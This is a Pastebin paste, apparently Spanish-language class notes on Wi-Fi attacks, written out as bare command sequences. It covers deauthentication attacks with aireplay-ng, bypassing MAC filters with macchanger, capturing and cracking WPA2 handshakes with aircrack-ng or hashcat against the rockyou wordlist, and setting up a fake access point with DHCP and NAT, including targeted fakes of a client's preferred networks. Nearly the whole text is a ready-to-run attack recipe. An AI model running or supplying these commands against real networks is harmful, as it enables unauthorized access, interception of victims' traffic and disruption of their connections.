fplanzer

clase 19-05

May 19th, 2018
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.24 KB | None | 0 0
  1. 1. TX Power (en dBm)
  2. - Configurar CC (Country Code)
  3. - Configurar el nivel de potencia
  4.  
  5.  
  6. ifconfig wlan0
  7. iw reg set CL
  8. iwconfig
  9.  
  10. iwconfig wlan0 txpower 27
  11. iwconfig
  12.  
  13. iwconfig wlan0 up
  14.  
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31. 2. Descubrir SSID ocultos:
  32.  
  33. a) Iniciar monitoreo:
  34. #airmong-ng start wlan0
  35.  
  36. b) Descubrir los AP
  37. #airodump-ng wlan0mon
  38. #airodump-ng -c CANAL -bssid MAC_DEL_AP wlan0mon
  39.  
  40. Esperar que se asocien los clientes o lanzar un ataque de-auth:
  41.  
  42. #aireplay-ng -0 2 -a MAC_DEL_AP(BSSID) wlan0mon
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60. 3. Bypass filtro MAC:
  61.  
  62. a) Iniciar monitoreo:
  63. airmong-ng start wlan0
  64.  
  65. b) Descubrir los AP
  66. airodump-ng wlan0mon
  67.  
  68. c) Usar la MAC del usuario:
  69.  
  70. (asociarse con un AP:
  71. iwconfig wlan0 essid NOMBRE-DE-LA-RED channel 1
  72. iwconfig
  73.  
  74. macchanger -m xx:xx:xx:xx:xx:xx wlan0 (si está en modo monitor: airmon-ng stop wlan0
  75.  
  76. 4. Romper claves WPA2
  77.  
  78. airmon-ng
  79. airodump-ng
  80. aireplay-ng
  81. aircrack
  82.  
  83.  
  84. a) Airodump y guardar la captura de datos
  85. airodump-ng -w /root/clavewifi -c 1 --bssid xx:xx:xx:xx:xx:xx (mac del AP) wlan0mon
  86.  
  87.  
  88. b) Enviar un ataque Deauth
  89. aireplay-ng -0 0 -a MAC_DEL_AP(BSSID) wlan0mon
  90. c) aircrack /root/clavewifi.cap -w /usr/lib/wordlist/passwords.lst
  91.  
  92. PS: Se puede usar hashcat en vez de Aircrack
  93.  
  94.  
  95.  
  96.  
  97. 5. AP Falso
  98.  
  99. airmon-ng
  100. airbase-ng
  101. isc-dhcp-server
  102. nat (iptables) y la tarjeta eth0 conectada a internet
  103.  
  104.  
  105. a) Instalar un servidor DHCP:
  106. apt-get install isc-dhcp-server -y
  107. mv /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.backup
  108. vim /etc/dhcp/dhcpd.conf
  109. ----------------------
  110.  
  111. default-lease-time 600;
  112. subnet 192.168.2.0 netmask 255.255.255.0 {
  113. option subnet-mask 255.255.255.0;
  114. option routers 192.168.2.1;
  115. option domain-name-servers 8.8.8.8;
  116. range 192.168.2.51 192.168.2.100;
  117. }
  118.  
  119. -----------------------
  120. b) poner la tarjeta en modo monitor (detenerla antes)
  121. airmon-ng start wlan0
  122.  
  123. c) iniciar un AP falso:
  124. airbase-ng --essid "INTERNET_GRATIS" -c 6 wlan0mon
  125.  
  126. d) Configurar la interfaz at0 (AP falso) y agregar una ruta local a la red
  127. ifconfig at0 up
  128. ifconfig at0 192.168.2.1/24
  129. route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
  130.  
  131. e) Iniciar el servidor DHCP falso
  132.  
  133. touch /var/lib/dhcp/dhcpd.leases
  134. dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcp-server/dhcpd.pid at0
  135.  
  136.  
  137. f) "NATEAR" el tráfico (asumiendo que la interfaz eth0 está conectada)
  138. iptables --flush
  139. iptables --table nat --flush
  140. iptables --delete-chain
  141. iptables --table nat --delete-chain
  142. iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
  143. iptables --append FORWARD --in-interface at0 -j ACCEPT
  144. echo 1 > /proc/sys/net/ipv4/ip_forward
  145.  
  146. g) Esperar que las víctimas se conecten
  147.  
  148.  
  149. 6) Ataques de AP Falso dirigido
  150.  
  151. a) Revisar cuales son los SSID preferidos del cliente usando airodump-ng
  152. b) Levantar un AP falso con el SSID de ese cliente
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160. Convertir captura de hashes .CAP en CAPHEX para crackear con HASHCAT en MacOSX en vez de AIRCRACK:
  161.  
  162.  
  163.  
  164. 1) Descargar hashcat-utils
  165. 2) Compilar el binario "cap2hccapx" (cd src/;gcc cap2hccapx.c -o cap2hccapx.bin)
  166. 3) Convertir el .cap de Airodump a hccapx:
  167.  
  168. cd src/
  169. chmod +x cap2hccapx.bin
  170. ./cap2hccapx.bin archivo.cap archivo.hcx
  171.  
  172. 4) Crackear con hashcat. 2500 es WPA
  173.  
  174. hashcat -m 2500 -w wordlist/rockyou.txt archivo.hcx
Add Comment
Please, Sign In to add comment